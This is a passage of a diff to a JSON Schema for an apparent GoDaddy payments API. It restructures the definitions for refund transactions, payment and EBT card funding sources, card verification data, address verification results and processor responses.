"https://json-schema.org/draft/2020-12/schema", + "description": "reference number (UUID format)", + "format": "uuid", + "title": "ReferenceNumber", + "type": "string", + "x-custom-refnum": true, + "x-custom-type": true + } + }, + "required": [ + "amount", + "createdAt" + ], + "title": "Transaction", + "type": "object", + "x-generic-type": "Transaction" + } + ], + "description": "Represents refund transaction against a payment", + "properties": { + "alternateFundingSource": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "discriminator": { + "mapping": { + "APPLE_PAY": "../payment-token/ApplePayPaymentToken.yaml", + "EBT_CARD": "./EBTCard.yaml", + "GODADDY": "../payment-token/GDPaymentTokenReference.yaml", + "GOOGLE_PAY": "../payment-token/GooglePayPaymentToken.yaml", + "PAYMENT_CARD": "./PaymentCard.yaml", + "PAYPAL": "../payment-token/PaypalPaymentToken.yaml" + }, + "propertyName": "sourceType" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "cardDetail": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card/card-detail.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "emvTags": { + "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 20, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "encrypted": { + "default": true, + "description": "True if the card number is encrypted", + "type": "boolean", + "writeOnly": true + }, + "entryDetails": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card/card-entry-detail.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "customerPresent": { + "default": false, + "description": "Indicates whether customer was present during transaction", + "type": "boolean" + }, + "entryMethod": { + "description": "Entry mode for the card", + "enum": [ + "KEYED", + "MSR", + "CL_MSR", + "ICC", + "CL_ICC" + ], + "type": "string" + }, + "iccFallback": { + "default": false, + "description": "indicates whether there was a fallback to MSR from EMV", + "type": "boolean", + "writeOnly": true } }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/debitcard.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "DebitCardProcessorResponse", - "type": "object", - "allOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/creditcard.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Processor Response", - "type": "object", - "properties": { - "avsResult": { - "description": "Address verifications result", - "readOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/processor-response/address-verification-result.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "AVS Results", - "type": "object", - "properties": { - "addressResult": { - "readOnly": true, - "description": "Result of Address verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "cityResult": { - "readOnly": true, - "description": "Result of City verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "postalCodeResult": { - "readOnly": true, - "description": "Result of Postal code verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "stateResult": { - "readOnly": true, - "description": "Result of State verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "countryResult": { - "readOnly": true, - "description": "Result of Country verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "phoneResult": { - "readOnly": true, - "description": "Result of Phone verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "cardHolderNameResult": { - "readOnly": true, - "description": "Result of Card holder name verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - } - } - }, - "cvResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "UNAVAILABLE" - ], - "description": "CVV verification result", - "readOnly": true - }, - "approvedAmount": { - "type": "integer", - "description": "If different than request amount", - "readOnly": true - }, - "approvalCode": { - "type": "string", - "readOnly": true, - "description": "Approval code that can be used for reference" - }, - "scaResult": { - "type": "string", - "readOnly": true, - "description": "Strong customer authentication result" - }, - "interacMacResult": { - "type": "string", - "readOnly": true, - "description": "Interac mac result (if interacMac is used)" - }, - "emvTags": { - "readOnly": true, - "description": "EMV tags obtained from the processor", - "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 20, - "additionalProperties": { - "type": "string", - "maxLength": 256 - } - } - } - } - ], - "properties": { - "remainingBalanceAmount": { - "type": "integer", - "description": "Remaining balance amount" - } + "title": "Card Entry Detail", + "type": "object" + }, + "expMonth": { + "maximum": 12, + "minimum": 1, + "type": "integer" + }, + "expYear": { + "maximum": 9999, + "minimum": 2000, + "type": "integer" + }, + "firstName": { + "description": "First name of card holder", + "type": "string" + }, + "interacMacDetail": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card/interacmac.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "interacMac": { + "description": "Interac mac details for canada based cards", + "type": "string" + }, + "interacMacKSN": { + "description": "Interac mac key serial number for canada based cards", + "type": "string" } - } - ], - "discriminator": { - "propertyName": "processorType", - "mapping": { - "CREDIT_CARD": "./CreditCardProcessorResponse.yaml", - "DEBIT_CARD": "./DebitCardProcessorResponse.yaml" - } + }, + "required": [ + "interacMac", + "interacMacKSN" + ], + "title": "Interac Mac", + "type": "object" }, - "properties": { - "processorType": { - "type": "string" - } + "keySerialNumber": { + "description": "For DUKPT encryption", + "type": "string", + "writeOnly": true }, - "required": [ - "processorType" - ] + "lastName": { + "description": "Last name of card holder", + "type": "string" + }, + "number": { + "description": "Card number", + "type": "string" + }, + "sequenceNumber": { + "description": "Sequence number to distinguish between 2 cards with same PAN.", + "type": "string", + "writeOnly": true + }, + "serviceCode": { + "description": "Track data read from card", + "type": "string", + "writeOnly": true + }, + "source": { + "description": "Source of the card", + "enum": [ + "DIRECT", + "APPLE_PAY", + "GOOGLE_PAY" + ], + "type": "string" + }, + "track1Data": { + "description": "Card track 1 data", + "type": "string", + "writeOnly": true + }, + "track2Data": { + "description": "Card track 2 data", + "type": "string", + "writeOnly": true + }, + "track3Data": { + "description": "Card track 3 data", + "type": "string", + "writeOnly": true + }, + "type": { + "description": "Type of the card", + "enum": [ + "VISA", + "MASTERCARD", + "AMERICAN_EXPRESS", + "DISCOVER" + ], + "type": "string" + } }, - "notes": { - "type": "string", - "maxLength": 512, - "description": "Notes about transaction" - } + "required": [ + "type", + "number", + "source" + ], + "title": "Card Detail", + "type": "object" }, - "required": [ - "amount", - "createdAt" - ] - } - ], - "x-generic-type": "Transaction", - "description": "Represents sale transaction against a payment" - }, - "readOnly": true, - "description": "Sales for the payment" - }, - "refunds": { - "type": "array", - "items": { - "$id": "https://godaddy.com/schemas/commerce/payment/refund.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Refund Transaction", - "type": "object", - "allOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Transaction", - "type": "object", - "description": "Represents transaction against a payment", - "x-generic-type": "Transaction", - "properties": { - "transactionId": { - "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "description": "Custom URN format", - "type": "string", - "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", - "readOnly": true, - "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", - "x-custom-type": true, - "x-custom-id": true - }, - "transactionRefNum": { - "$id": "https://godaddy.com/schemas/commerce/payment/refnum.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "ReferenceNumber", - "description": "reference number (UUID format)", - "type": "string", - "format": "uuid", - "x-custom-type": true, - "x-custom-refnum": true - }, - "status": { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Transaction Status", - "type": "string", - "enum": [ - "INITIATED", - "PENDING", - "FAILED", - "COMPLETED", - "VOIDED" - ], - "description": "Transaction status" - }, - "amount": { - "description": "Transaction amount", - "$id": "https://godaddy.com/schemas/commerce/payment/amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Amount", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/simple-amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Simple Amount", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Payment amount" - }, - "currency": { - "description": "Payment currency", - "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Currency", - "type": "string", - "example": "USD", - "minLength": 3, - "maxLength": 3, - "x-custom-type": true, - "x-currency-type": true - } + "cardVerificationData": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/cardverification.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "cardHolderBillingAddress": { + "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "city": { + "description": "City", + "type": "string" }, - "required": [ - "amount", - "currency" - ] - }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/detailed-amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Detailed Amount", - "type": "object", - "properties": { - "total": { - "type": "integer", - "format": "int64", - "description": "Total amount" - }, - "tip": { - "nullable": true, - "description": "Tip amount details", - "$id": "https://godaddy.com/schemas/commerce/payment/tip-amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Tip Amount", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Tip amount" - }, - "customerOptedNoTip": { - "type": "boolean", - "default": false, - "description": "Customer opted for no tip" - } - } - }, - "cashback": { - "type": "integer", - "description": "Cashback details" - }, - "subTotal": { - "type": "integer", - "format": "int64", - "description": "Sub total details" - }, - "currency": { - "description": "Amount currency", - "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Currency", - "type": "string", - "example": "USD", - "minLength": 3, - "maxLength": 3, - "x-custom-type": true, - "x-currency-type": true - }, - "fees": { - "type": "array", - "items": { - "$id": "https://godaddy.com/schemas/commerce/payment/fee.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Fee", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/simple-fee.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "SimpleFee", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Fee amount" - }, - "type": { - "type": "string", - "example": "Shipping", - "description": "Fee type", - "minLength": 2, - "maxLength": 64 - } - }, - "required": [ - "amount", - "type" - ] - }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/governed-fee.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "GovernedFee", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Fee amount" - }, - "type": { - "type": "string", - "example": "SURCHARGE", - "description": "Fee Program type", - "enum": [ - "SURCHARGE", - "SERVICE_FEE", - "CONVENIENCE_FEE", - "CASH_DISCOUNT" - ] - }, - "signature": { - "type": "string", - "maxLength": 256, - "description": "Signature representing the Fee", - "writeOnly": true - } - }, - "required": [ - "amount", - "type", - "signature" - ] - } - ], - "discriminator": { - "propertyName": "feeType", - "mapping": { - "ADDITIONAL": "./SimpleFee.yaml", - "GOVERNED": "./GovernedFee.yaml" - } - }, - "properties": { - "feeType": { - "type": "string", - "description": "Fee type discriminator" - } - }, - "required": [ - "feeType" - ] - }, - "description": "Fees if any" - } + "country": { + "description": "Country", + "type": "string" }, - "required": [ - "total", - "currency" - ] - } - ], - "discriminator": { - "propertyName": "amountType", - "mapping": { - "DETAILED": "./DetailedAmount.yaml", - "SIMPLE": "./SimpleAmount.yaml" - } + "line1": { + "description": "Address line 1", + "type": "string" + }, + "line2": { + "description": "Address line 2", + "type": "string" + }, + "postalCode": { + "description": "Postal Code", + "type": "string" + }, + "territory": { + "description": "Territory", + "type": "string" + }, + "territoryType": { + "description": "Territory type", + "enum": [ + "STATE", + "PROVINCE", + "OTHER" + ], + "type": "string" + } + }, + "required": [ + "line1", + "city", + "territory", + "territoryType", + "country", + "postalCode" + ], + "title": "Address", + "type": "object" }, - "properties": { - "amountType": { - "type": "string" - } + "cardPin": { + "description": "Card pin block.", + "type": "string", + "writeOnly": true + }, + "cardPinKeySerialNumber": { + "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", + "type": "string", + "writeOnly": true + }, + "cvData": { + "description": "CVV information typically at the back of the card.", + "type": "string", + "writeOnly": true + }, + "cvSkipReason": { + "description": "CVV skipped because of this reason.", + "type": "string", + "writeOnly": true + }, + "threeDSecureData": { + "description": "3d secure data information", + "properties": { + "cryptogram": { + "type": "string" + }, + "eci": { + "type": "string" + } + }, + "type": "object", + "writeOnly": true } }, - "createdAt": { - "type": "string", - "format": "date-time", - "description": "Created time in RFC 3339 format", - "example": "2022-07-21T17:32:28Z" + "title": "Card VerificationData", + "type": "object" + }, + "processingInstruction": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/card-processing-instruction.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "debit": { + "default": false, + "description": "If card should be processed as debit or not", + "type": "boolean" + }, + "signatureRequired": { + "default": false, + "description": "If signature is required for this transaction", + "type": "boolean" + } }, - "context": { - "description": "Transaction context", - "$id": "https://godaddy.com/schemas/commerce/payment/transaction-context.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "TransactionContext", - "allOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/payment-context.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "PaymentContext", - "type": "object", - "description": "Payment Context details", - "properties": { - "channelId": { - "$id": "https://godaddy.com/schemas/commerce/payment/uuid.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Uuid", - "description": "unique identifier (UUID format)", - "type": "string", - "format": "uuid", - "example": "id", - "readOnly": true - }, - "merchantInitiatedTransaction": { - "type": "boolean", - "default": false, - "description": "True if initiated by the Merchant on behalf of the customer" - } + "title": "Card Processing Instruction", + "type": "object" + } + }, + "required": [ + "cardDetail" + ], + "title": "Payment Card", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/ebt-card.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "cardDetail": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card/card-detail.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "emvTags": { + "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 20, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "encrypted": { + "default": true, + "description": "True if the card number is encrypted", + "type": "boolean", + "writeOnly": true + }, + "entryDetails": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card/card-entry-detail.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "customerPresent": { + "default": false, + "description": "Indicates whether customer was present during transaction", + "type": "boolean" + }, + "entryMethod": { + "description": "Entry mode for the card", + "enum": [ + "KEYED", + "MSR", + "CL_MSR", + "ICC", + "CL_ICC" + ], + "type": "string" + }, + "iccFallback": { + "default": false, + "description": "indicates whether there was a fallback to MSR from EMV", + "type": "boolean", + "writeOnly": true } - } - ], - "type": "object" - }, - "clientContext": { - "description": "non-sensitive context data that can be stored and fetched by client when needed", - "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 20, - "additionalProperties": { + }, + "title": "Card Entry Detail", + "type": "object" + }, + "expMonth": { + "maximum": 12, + "minimum": 1, + "type": "integer" + }, + "expYear": { + "maximum": 9999, + "minimum": 2000, + "type": "integer" + }, + "firstName": { + "description": "First name of card holder", + "type": "string" + }, + "interacMacDetail": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card/interacmac.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "interacMac": { + "description": "Interac mac details for canada based cards", + "type": "string" + }, + "interacMacKSN": { + "description": "Interac mac key serial number for canada based cards", + "type": "string" + } + }, + "required": [ + "interacMac", + "interacMacKSN" + ], + "title": "Interac Mac", + "type": "object" + }, + "keySerialNumber": { + "description": "For DUKPT encryption", + "type": "string", + "writeOnly": true + }, + "lastName": { + "description": "Last name of card holder", + "type": "string" + }, + "number": { + "description": "Card number", + "type": "string" + }, + "sequenceNumber": { + "description": "Sequence number to distinguish between 2 cards with same PAN.", + "type": "string", + "writeOnly": true + }, + "serviceCode": { + "description": "Track data read from card", + "type": "string", + "writeOnly": true + }, + "source": { + "description": "Source of the card", + "enum": [ + "DIRECT", + "APPLE_PAY", + "GOOGLE_PAY" + ], + "type": "string" + }, + "track1Data": { + "description": "Card track 1 data", + "type": "string", + "writeOnly": true + }, + "track2Data": { + "description": "Card track 2 data", + "type": "string", + "writeOnly": true + }, + "track3Data": { + "description": "Card track 3 data", "type": "string", - "maxLength": 256 + "writeOnly": true + }, + "type": { + "description": "Type of the card", + "enum": [ + "VISA", + "MASTERCARD", + "AMERICAN_EXPRESS", + "DISCOVER" + ], + "type": "string" } }, - "processorResponse": { - "readOnly": true, - "description": "Processor response", - "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "DebitCardProcessorResponse", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/creditcard.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Processor Response", - "type": "object", - "properties": { - "avsResult": { - "description": "Address verifications result", - "readOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/processor-response/address-verification-result.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "AVS Results", - "type": "object", - "properties": { - "addressResult": { - "readOnly": true, - "description": "Result of Address verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "cityResult": { - "readOnly": true, - "description": "Result of City verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "postalCodeResult": { - "readOnly": true, - "description": "Result of Postal code verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "stateResult": { - "readOnly": true, - "description": "Result of State verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "countryResult": { - "readOnly": true, - "description": "Result of Country verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "phoneResult": { - "readOnly": true, - "description": "Result of Phone verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "cardHolderNameResult": { - "readOnly": true, - "description": "Result of Card holder name verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - } - } - }, - "cvResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "UNAVAILABLE" - ], - "description": "CVV verification result", - "readOnly": true - }, - "approvedAmount": { - "type": "integer", - "description": "If different than request amount", - "readOnly": true - }, - "approvalCode": { - "type": "string", - "readOnly": true, - "description": "Approval code that can be used for reference" - }, - "scaResult": { - "type": "string", - "readOnly": true, - "description": "Strong customer authentication result" - }, - "interacMacResult": { - "type": "string", - "readOnly": true, - "description": "Interac mac result (if interacMac is used)" - }, - "emvTags": { - "readOnly": true, - "description": "EMV tags obtained from the processor", - "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 20, - "additionalProperties": { - "type": "string", - "maxLength": 256 - } - } - } - }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/debitcard.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "DebitCardProcessorResponse", - "type": "object", - "allOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/creditcard.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Processor Response", - "type": "object", - "properties": { - "avsResult": { - "description": "Address verifications result", - "readOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/processor-response/address-verification-result.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "AVS Results", - "type": "object", - "properties": { - "addressResult": { - "readOnly": true, - "description": "Result of Address verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "cityResult": { - "readOnly": true, - "description": "Result of City verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "postalCodeResult": { - "readOnly": true, - "description": "Result of Postal code verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "stateResult": { - "readOnly": true, - "description": "Result of State verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "countryResult": { - "readOnly": true, - "description": "Result of Country verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "phoneResult": { - "readOnly": true, - "description": "Result of Phone verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "cardHolderNameResult": { - "readOnly": true, - "description": "Result of Card holder name verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - } - } - }, - "cvResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "UNAVAILABLE" - ], - "description": "CVV verification result", - "readOnly": true - }, - "approvedAmount": { - "type": "integer", - "description": "If different than request amount", - "readOnly": true - }, - "approvalCode": { - "type": "string", - "readOnly": true, - "description": "Approval code that can be used for reference" - }, - "scaResult": { - "type": "string", - "readOnly": true, - "description": "Strong customer authentication result" - }, - "interacMacResult": { - "type": "string", - "readOnly": true, - "description": "Interac mac result (if interacMac is used)" - }, - "emvTags": { - "readOnly": true, - "description": "EMV tags obtained from the processor", - "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 20, - "additionalProperties": { - "type": "string", - "maxLength": 256 - } - } - } - } - ], - "properties": { - "remainingBalanceAmount": { - "type": "integer", - "description": "Remaining balance amount" - } + "required": [ + "type", + "number", + "source" + ], + "title": "Card Detail", + "type": "object" + }, + "cardType": { + "enum": [ + "FOOD_STAMP", + "CASH_BENEFIT", + "ELECTRONIC_VOUCHER" + ], + "type": "string" + }, + "cardVerificationData": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/cardverification.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "cardHolderBillingAddress": { + "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "city": { + "description": "City", + "type": "string" + }, + "country": { + "description": "Country", + "type": "string" + }, + "line1": { + "description": "Address line 1", + "type": "string" + }, + "line2": { + "description": "Address line 2", + "type": "string" + }, + "postalCode": { + "description": "Postal Code", + "type": "string" + }, + "territory": { + "description": "Territory", + "type": "string" + }, + "territoryType": { + "description": "Territory type", + "enum": [ + "STATE", + "PROVINCE", + "OTHER" + ], + "type": "string" } - } - ], - "discriminator": { - "propertyName": "processorType", - "mapping": { - "CREDIT_CARD": "./CreditCardProcessorResponse.yaml", - "DEBIT_CARD": "./DebitCardProcessorResponse.yaml" - } + }, + "required": [ + "line1", + "city", + "territory", + "territoryType", + "country", + "postalCode" + ], + "title": "Address", + "type": "object" }, - "properties": { - "processorType": { - "type": "string" - } + "cardPin": { + "description": "Card pin block.", + "type": "string", + "writeOnly": true }, - "required": [ - "processorType" - ] + "cardPinKeySerialNumber": { + "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", + "type": "string", + "writeOnly": true + }, + "cvData": { + "description": "CVV information typically at the back of the card.", + "type": "string", + "writeOnly": true + }, + "cvSkipReason": { + "description": "CVV skipped because of this reason.", + "type": "string", + "writeOnly": true + }, + "threeDSecureData": { + "description": "3d secure data information", + "properties": { + "cryptogram": { + "type": "string" + }, + "eci": { + "type": "string" + } + }, + "type": "object", + "writeOnly": true + } }, - "notes": { - "type": "string", - "maxLength": 512, - "description": "Notes about transaction" - } + "title": "Card VerificationData", + "type": "object" }, - "required": [ - "amount", - "createdAt" - ] - } - ], - "x-generic-type": "Transaction", - "description": "Represents refund transaction against a 